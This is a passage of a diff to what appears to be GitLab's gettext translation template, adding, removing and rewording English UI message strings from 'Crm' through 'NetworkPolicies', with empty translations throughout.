+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10647,6 +10853,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11296,6 +11505,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11317,6 +11529,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11371,9 +11586,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11419,6 +11631,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11542,6 +11760,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11557,19 +11778,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11815,9 +12042,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -12051,7 +12275,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12324,6 +12548,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12493,6 +12720,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12583,9 +12813,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12619,6 +12846,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12697,9 +12927,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12793,6 +13029,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12808,6 +13047,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12829,6 +13071,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12928,9 +13173,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12982,6 +13224,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -13003,6 +13248,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -13075,6 +13323,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13249,6 +13500,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13334,16 +13591,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13583,9 +13837,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13634,9 +13885,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13973,7 +14221,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14157,9 +14405,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14277,6 +14522,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14352,6 +14603,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14470,6 +14727,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14536,6 +14796,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14548,9 +14811,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14994,6 +15254,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -15090,15 +15353,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15177,6 +15431,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15390,6 +15647,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15495,9 +15755,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15771,9 +16028,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15945,6 +16199,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -16008,6 +16265,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16179,6 +16439,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16326,7 +16631,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16383,6 +16700,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16647,7 +16967,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16947,6 +17267,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -17124,7 +17450,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -17139,7 +17468,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17238,6 +17570,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17507,7 +17842,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17546,6 +17881,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18329,7 +18667,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18494,9 +18835,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18560,6 +18898,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18777,12 +19118,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18900,6 +19247,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18915,6 +19265,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18945,7 +19301,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -19002,7 +19361,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -19140,22 +19499,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -19170,9 +19526,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19191,9 +19544,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19380,6 +19730,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19455,6 +19808,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19512,16 +19868,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19530,9 +19883,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19626,6 +19976,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19635,6 +19988,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19731,9 +20087,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19758,9 +20120,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19869,18 +20228,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19899,18 +20249,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19920,6 +20264,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19929,12 +20276,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19965,9 +20306,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20265,6 +20603,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20611,7 +20952,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20716,6 +21057,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20761,6 +21105,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20911,9 +21258,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20941,13 +21285,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20965,6 +21309,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21182,7 +21529,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21263,7 +21610,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21476,6 +21823,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21494,6 +21844,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21701,9 +22054,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21866,6 +22216,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21881,6 +22237,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21926,22 +22285,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -22061,6 +22411,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22702,6 +23064,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22955,9 +23320,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -23108,9 +23470,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -23135,6 +23494,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
